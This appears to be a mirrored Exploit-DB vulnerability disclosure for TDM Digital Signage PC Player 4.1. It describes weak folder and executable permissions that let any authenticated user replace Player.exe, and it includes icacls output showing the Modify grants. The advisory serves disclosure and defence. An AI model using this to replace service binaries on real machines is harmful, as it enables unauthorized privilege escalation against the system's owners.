TDM Digital Signage PC Player 4.1 – Insecure File Permissions

• Exploit Database
• 117 阅读

• 作者： LiquidWorm
  日期： 2020-10-27
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48953/
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  # Exploit Title: TDM Digital Signage PC Player 4.1 - Insecure File Permissions # Date: 2020-09-23 # Exploit Author: LiquidWorm # Software Link: https://www.tdmsignage.com / https://pro.sony/en_NL/products/display-software/tdm-ds1y-tdm-ds3y # Version: 4.1.0.4   Vendor: TDM [Trending Digital Marketing] Product web page: https://www.tdmsignage.com https://pro.sony/en_NL/products/display-software/tdm-ds1y-tdm-ds3y Affected version: 4.1.0.4   Summary: With TDM you can do a lot more than just show Digital Signage. With our Enterprise-Grade software you open the door to Interactive Signage, Analytics, Proof of Play and a lot more.   Desc: TDM Digital Signage Windows Player suffers from an elevation of privileges vulnerability which can be used by a simple authenticated user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the &apos;M&apos; flag (Modify) or &apos;C&apos; flag (Change) for &apos;Authenticated Users&apos; group.   Tested on: Microsoft Windows 10 Home     Vulnerability discovered by Gjoko &apos;LiquidWorm&apos; Krstic @zeroscience     Advisory ID: ZSL-2020-5604 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5604.php   23.09.2020   --     C:\>icacls TDMSignage TDMSignage BUILTIN\Administrators:(I)(OI)(CI)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Users:(I)(OI)(CI)(RX) NT AUTHORITY\Authenticated Users:(I)(M)<---------<<< NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)<---------<<<   Successfully processed 1 files; Failed processing 0 files   C:\TDMSignage>dir /b *.exe Player.exe unins000.exe   C:\TDMSignage>icacls Player.exe && icacls unins000.exe Player.exe BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) NT AUTHORITY\Authenticated Users:(I)(M)<---------<<<   Successfully processed 1 files; Failed processing 0 files unins000.exe BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) NT AUTHORITY\Authenticated Users:(I)(M)<---------<<<   Successfully processed 1 files; Failed processing 0 files